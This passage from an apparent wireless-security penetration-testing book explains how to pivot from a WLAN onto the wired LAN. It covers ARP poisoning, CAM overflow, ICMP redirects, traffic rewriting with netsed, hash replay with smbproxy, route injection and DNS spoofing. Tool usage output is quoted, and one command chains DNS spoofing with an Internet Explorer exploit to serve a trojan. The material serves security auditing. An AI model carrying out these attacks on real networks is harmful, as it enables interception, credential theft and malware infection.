Step 5: Take the Attack to the Wired Side

If the network is designed properly and a decent stateful or proxy firewall separates a WLAN from the wired network, your chances of attacking the connected wired LAN are decreased. However, in our experience this is rarely the case. Usually the APs are plugged into switches that connect them to the rest of the LAN and are positioned on the same broadcast domain with the wired hosts. There are various means and tools for redirecting the traffic from the wired to the wireless side for both sniffing and manipulation. If the wireless access point is plugged into a switch, you can try the following:

An ARP poisoning man-in-the-middle attack from the wireless side against the hosts on the wired LAN. Every powerful modern sniffer will be able to perform this attack, sometimes referred to as "active sniffing" in the manuals. The examples include Dsniff's arpspoof, Ettercap, Hunt, and Angst. There are also a variety of more specific tools such as arpmim, sw-mitm, and BKtspibdc. Remember that the attack can be launched against a single host (classical man-in-the-middle) or multiple machines (ARP gateway spoofing).
Overflowing the switch CAM table to leak wired data through the wireless-connected port. The best known tool to perform this is macof, included with Dsniff as a C port of the original Perl code. The most interesting tool of this breed is Taranis. Taranis specializes in using a CAM table overflowing attack initially designed for mail server authentication information theft and includes a switchtest tool designed to test switches on the subject of susceptibility to CAM overflowing. Will your switch really behave like a hub if attacked? Switchtest will tell you. Some other tools also support MAC address flooding against switches, for example angst -f , pdump –M, and the Spectre plug-in for Ettercap. Note that if the attack is successful, you can't get more data than your wireless bandwidth allows. If 100 Mb/s traffic is flowing through the switch, you will get only the fraction of it (e.g., 7 Mb/s on 802.11b when using Linux) that the wireless "pipe" can bear.
Redirecting the traffic via the ICMP router discovery protocol. As "TCP/IP Illustrated" section 9.6 states, there are rules to prevent a malicious user from modifying a system routing table:
- The new advertised router must be on a directly connected network.
- The redirect packet must be from the current router for that destination.
- The redirect packet cannot tell the host to use itself as a router.
- The route modified must be an indirect route.

However, the existence of these rules does not mean that all OS vendors strictly follow them (although Rule 1 always stays true, so you have to be directly plugged into the LAN to attempt traffic redirecting). The two best tools for launching ICMP redirect attacks are Sing and IRPAS. The latter includes a "canned" utility for ICMP redirect exploitation, the IRDPresponder. IRDPresponder sniffs for router solicitation packets and answers by sending periodic updates back:


arhontus:~# ./irdpresponder

Usage:

./irdpresponder [-v[v[v]]] -i <interface>

     [-S <spoofed source IP>] [-D <destination ip>]

     [-l <lifetime in sec, default: 1800>] [-p <preference>]

The default preference is nil; if no destination IP address is stated the broadcast address is used.

Of course, if a proper secure gateway is deployed between the wired LAN and the WLAN, these attacks will not work. However, there are methodologies that will—nothing is perfectly safe. If attacks on the given OSI layer cannot succeed, an attacker can move to the layer above and continue the assault. There are multiple ways of bypassing a secure gateway between a WLAN and a wired LAN. An obvious way is to attack the gateway itself, but that is unlikely to succeed and will trigger the IDS and leave huge flashing neon lights in the logs. Another obvious path is to see which wired hosts the wireless machines send traffic to and attack these hosts, perhaps spoofing as one of the wireless machines after knocking that box offline with wlan_jack, fata_jack, or an equivalent.

A more elegant way is to use the existing connections between wireless and wired hosts for connection hijacking, traffic insertion, and modification. ARP spoofing is usually employed to insert the hijacking host between the connection endpoints. However, the shared nature of 802.11 LANs and the possibility of a Layer 2 man-in-the-middle attack without causing disturbance in the ARP tables gives a whole new flavor to hacking the established connections. In particular, you can modify the traffic passing through the interface used for the man-in-the-middle attack with a devastating effect. For example, a certain domain name in the outgoing requests can be replaced with something else. We suggest looking for the replacement at the http://www.rathergood.com or http://www.attrition.org galleries. Thus, an effect of DNS spoofing is achieved without even touching the DNS server. The letters "CEO" encountered in the bypassing traffic could be replaced by another three-letter-combination; the possibilities are limited only by your imagination. On a serious side, an attacker can cause significant and difficult-to-detect and difficult-to-repair damage by compromising the data integrity and then use such a compromise for future social engineering attempts. Thus, the possibility of such an attack's success should be investigated in the process of a wireless security audit.

To look for the existing connections on a LAN, use your favorite sniffer, or automate the process by using the Ettercap beholder plug-in. For traffic pattern matching and on-the-fly modification you can employ netsed:


arhontus:~# ./netsed

netsed 0.01b by Michal Zalewski <lcamtuf@ids.pl>

 Usage: netsed proto lport rhost rport rule1 [ rule2 ... ]



  proto   - protocol specification (tcp or udp)

  lport   - local port to listen on (see README for transparent

            traffic intercepting on some systems)

  rhost   - where connection should be forwarded (0 = use

            destination

            address of incoming connection, see README)

  rport   - destination port (0 = dst port of incoming

            connection)

  ruleN   - replacement rules (see below)

General replacement rules syntax: s/pattern1/pattern2[/expire]

This replaces all occurrences of pattern1 with pattern2 in all matching packets. An additional parameter (count) can be used to expire the rule after "count" successful substitutions. Eight-bit characters, including NULL and '/', can be passed using HTTP-alike hex escape sequences (e.g., %0a%0d). Single '%' can be reached by using '%%'. Examples:


's/arhont/tnohra/1' - replace 'arhont' with 'tnohra' (once)

's/arhont/tnohra' - replace all occurences of 'arhont' with 'tnohra'

's/arhont/tnohra%00' - replace 'arhont' with 'tnohra\x00' (to keep orig. size)

's/%%/%2f/20' - replace '%' with '/' in first 20 packets

These rules do not work on cross-packet boundaries and are evaluated from the first to the last unexpired rule.

Apart from modifying the traffic passing by, you can always replay it. Replay attacks are useful to authenticate the attacker to a server using someone else's hashed credentials and save a significant amount of time and CPU cycles otherwise spent on cracking the hash. Replaying LM or NTLM hashes of "user Bill" to get the same privileges on the machine he or she authenticates to is the most common example of such an attack. You can automate it with the "passing the hash" smbproxy tool:


arhontus:~# ./smbproxy -h



SMBproxy V1.0.0 by patrik.karlsson@ixsecurity.com

-------------------------------------------------

./smbproxy [options]

     -s* <serverip> to proxy to

     -l  <listenip> to listen to

     -p  <port> to listen to (139/445)

     -f* <pwdumpfile> containing hashes

     -v  be verbose

     -h  your reading it

For a "classical" TCP connection hijacking, Hunt remains an unsurpassed tool that a security auditor should be well familiar with. Check out man hunt; it makes very good bedtime reading! As an interesting twist and addition to the capabilities provided by Hunt, pdump (pdump -A flag) has the capability to inject packets into an existing connection, keeping it synchronized without disruption. Packet redirection becomes unnecessary and the risk of connection reset is eliminated.

Two other avenues of traffic redirection across the router or gateway include malicious route injection via the running routing protocol and DNS spoofing or hijacking if host names are used to reach the machines on the LAN.

For the first option, an attacker sends periodic fake route advertisement messages declaring his or her host to be a default gateway or joins the routing domain and tries to win designated router elections when attacking certain routing protocols such as OSPF. To inject malicious routing updates use, nemesis-rip (RIPv1 and RIPv2), nemesis-ospf (OSPF), the igrp utility from the IRPAS suite (IGRP), or Sendip with rip (RIPv1 and RIPv2) or bgp (BGPv4) modules loaded. For joining the OSPF domain with the aim of becoming a designated router and taking control over the domain routing updates, install Zebra or Quagga on the attacking laptop and tweak the OSPF part, setting the highest priority (255) and highest sensible loopback interface IP address (or "router ID") in case of a priority tie. You can probably do the same with Gated, but we haven't employed Gated for routing protocols security auditing (yet). In general, to launch successful route redirection attacks via a malicious route injection, you should be familiar with the used protocol structure and operation. A good vendor-independent literature source on all things routing and switching is Routing and Switching: Time of Convergence? by Rita Puzmanova (Addison-Wesley, 2002, ISBN: 0201398613). Alternatively, you can pick any CCIE Routing and Switching guide.

As for the DNS spoofing attacks, because Secure DNS (SDNS) is not widely implemented yet, running such attacks against a nonauthenticated UDP-reliant protocol is an easy task, and multiple tools are available to make the forgery even easier. Dnsspoof from Dsniff will fake replies to arbitrary DNS address or pointer queries on the LAN using a hosts-format file with crafted entries:


arhontus:~# dnsspoof -h

Version: 2.4

Usage: dnsspoof [-i interface] [-f hostsfile] [expression]

A similar tool that also uses a custom domain name-to-IP address fabrication table is dnshijacker:


arhontus:~# ./dnshijacker -h



[ dns hijacker v1.0 ]

 Usage: dnshijacker [options] optional-tcpdump-filter

   -d <xxx.xxx.xxx.xxx> default address to answer with

   -f <filename> tab delimited fabrication table

   -i <interface> to sniff/write on

   -p print only, don't spoof answers

   -v print verbose dns packet information

An example of such a table might read like this:


www.sco.com   216.250.128.12  #answer = gnu.org

The latest trend in DNS hijacking attacks at the time this book was written was based on the vulnerability exposed by Vagner Sacramento (http://cais/alertas/2002/cais-ALR-19112002a.html). Read the source code of the birthday.pl tool, which implements this attack, and try it out on your own or your client's DNS servers:



arhontus:~# perl birthday.pl

usage: birthday.pl source(ip) destination(ip) source_port domain spoofed(ip)

 [number_of_packets]

To illustrate what a DNS hijacking attack can do, we'll run IEsploit.tcl on the attacking host and redirect traffic from http://www.cnn.com to this machine:


arhontus:~# ./IEsploit.tcl veryeviltrojan.exe && dnsspoof -i wlan0 -f poor.hosts

All corporate users browsing the news at the http://www.cnn.com Web site during lunch would be redirected to the attacker's laptop instead. While he or she is having coffee across the street, IEsploit.tcl will use "%00 in the file name" and the auto execution of certain MIME-type holes in Internet Explorer versions 5.0, 5.5, and 6.0 to upload and run veryeviltrojan.exe on all vulnerable Windows machines visiting the fake server.

< Day Day Up >